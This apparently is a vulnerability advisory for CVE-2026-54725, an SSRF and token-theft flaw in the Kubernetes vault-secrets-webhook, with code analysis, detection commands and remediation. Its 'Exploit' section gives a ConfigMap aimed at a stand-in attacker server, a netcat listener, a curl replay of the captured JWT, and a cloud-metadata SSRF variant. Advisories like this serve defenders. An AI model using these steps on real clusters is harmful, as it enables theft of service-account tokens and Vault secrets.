Listen to this Post
How CVE-2026-54725 Works
CVE-2026-54725 is a critical Server-Side Request Forgery (SSRF) vulnerability in the bank-vaults vault-secrets-webhook, a Kubernetes mutating admission webhook that injects secrets from HashiCorp Vault directly into Pods. The vulnerability stems from the webhook’s unconditional trust of user-supplied annotations, allowing an attacker with ConfigMap or Secret creation privileges to pivot this trusted component into an attack vector.
The webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation—no URL scheme check, no hostname allowlist, and no filtering for RFC-1918 or link-local addresses. The `parseVaultConfig()` function at `pkg/webhook/config.go:102-107` reads this annotation unconditionally into vaultConfig.Addr.
When a ConfigMap or Secret contains a value prefixed with vault:, the `MutateConfigMap` and `MutateSecret` functions call mw.newVaultClient(ctx, vaultConfig). Inside `newVaultClient` at pkg/webhook/webhook.go:285, `clientConfig.Address = vaultConfig.Addr` is set, and `vault.NewClientFromConfigWithContext` opens an HTTP connection to the attacker-controlled address synchronously during the admission review. This outbound call originates from the webhook server process itself, not from a separate pod, meaning the attack executes inside a highly privileged cluster component.
The `vault-skip-verify` annotation (pkg/webhook/config.go:197) compounds the issue by setting `InsecureSkipVerify: true` on the TLS configuration, eliminating the need for a valid certificate on the attacker’s server.
The most severe aspect involves credential theft. The webhook’s ClusterRole grants `serviceaccounts/token:create` cluster-wide. When the `vault-serviceaccount` annotation is set, the webhook calls `mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken()` to mint a JWT for the specified ServiceAccount. This JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker who controls the `vault-addr` can intercept this JWT and replay it against the real Vault server to access any secrets bound to that ServiceAccount’s Vault role.
DailyCVE Form
Platform: Kubernetes
Version: < 1.23.1
Vulnerability: SSRF + Token Theft
Severity: Critical (9.6)
date: 2026-07-31
Prediction: 2026-08-15
What Undercode Say
Check if vault-secrets-webhook is deployed kubectl get deployment vault-secrets-webhook -n <namespace> Check current version kubectl describe deployment vault-secrets-webhook -n <namespace> | grep Image Audit logs - look for ConfigMaps/Secrets with vault-addr annotation kubectl get configmaps --all-namespaces -o yaml | grep -A5 "vault.security.banzaicloud.io/vault-addr" kubectl get secrets --all-namespaces -o yaml | grep -A5 "vault.security.banzaicloud.io/vault-addr" Check webhook ClusterRole for serviceaccounts/token:create kubectl describe clusterrole vault-secrets-webhook | grep -A10 "serviceaccounts/token"
Analytics:
Identify pods with vault-secrets-webhook kubectl get pods --all-namespaces -l app=vault-secrets-webhook Check webhook configuration kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations | grep vault Monitor egress from webhook pod (requires network policy tools) kubectl exec -it <webhook-pod> -n <namespace> -- nslookup <suspicious-domain>
Exploit
Step 1: Create a malicious ConfigMap
apiVersion: v1 kind: ConfigMap metadata: name: ssrf-poc namespace: tenant-ns annotations: vault.security.banzaicloud.io/vault-addr: "http://attacker-server:8080" vault.security.banzaicloud.io/vault-skip-verify: "true" vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa" data: secret-key: "vault:secret/data/testvalue"
Step 2: Apply the ConfigMap
kubectl apply -f ssrf-poc.yaml
Step 3: Attacker listens for the JWT
On attacker server nc -lvp 8080 Or run a simple HTTP server that logs headers python3 -m http.server 8080
Step 4: Replay the captured JWT against real Vault
Capture the JWT from the Authorization: Bearer header Replay against real Vault curl -H "Authorization: Bearer <captured-jwt>" https://real-vault:8200/v1/secret/data/test
Alternative: Cloud Metadata SSRF
metadata: annotations: vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
Protection
1. Upgrade immediately to version 1.23.1 or later:
helm upgrade vault-secrets-webhook bank-vaults/vault-secrets-webhook --version 1.23.1
2. For Chainguard users, upgrade to version 1.22.2-r14 or higher.
3. Network Policy: Restrict egress from the webhook pod to only trusted Vault endpoints:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: vault-webhook-egress spec: podSelector: matchLabels: app: vault-secrets-webhook policyTypes: - Egress egress: - to: - ipBlock: cidr: <trusted-vault-cidr>
4. Admission Controller: Deploy an OPA/Gatekeeper policy to block ConfigMaps and Secrets with suspicious `vault-addr` annotations.
5. Audit: Monitor for ConfigMaps/Secrets with `vault.security.banzaicloud.io/vault-addr` pointing to non-corporate IPs.
Impact
- CVSS Score: 9.6 (Critical)
- Attack Vector: Network
- Privileges Required: Low (ConfigMap/Secret create/update)
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: High
A user with create or update permissions on ConfigMaps or Secrets in any namespace watched by the webhook can: - Cause the webhook process to make arbitrary outbound HTTP connections to any address, including cloud metadata services (IMDS)
- Exfiltrate ServiceAccount JWTs for any ServiceAccount in their namespace
- Replay those JWTs against the real Vault server to read secrets the ServiceAccount’s role is authorized to access
The attack executes at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights. All versions up to and including 1.22.2 are affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
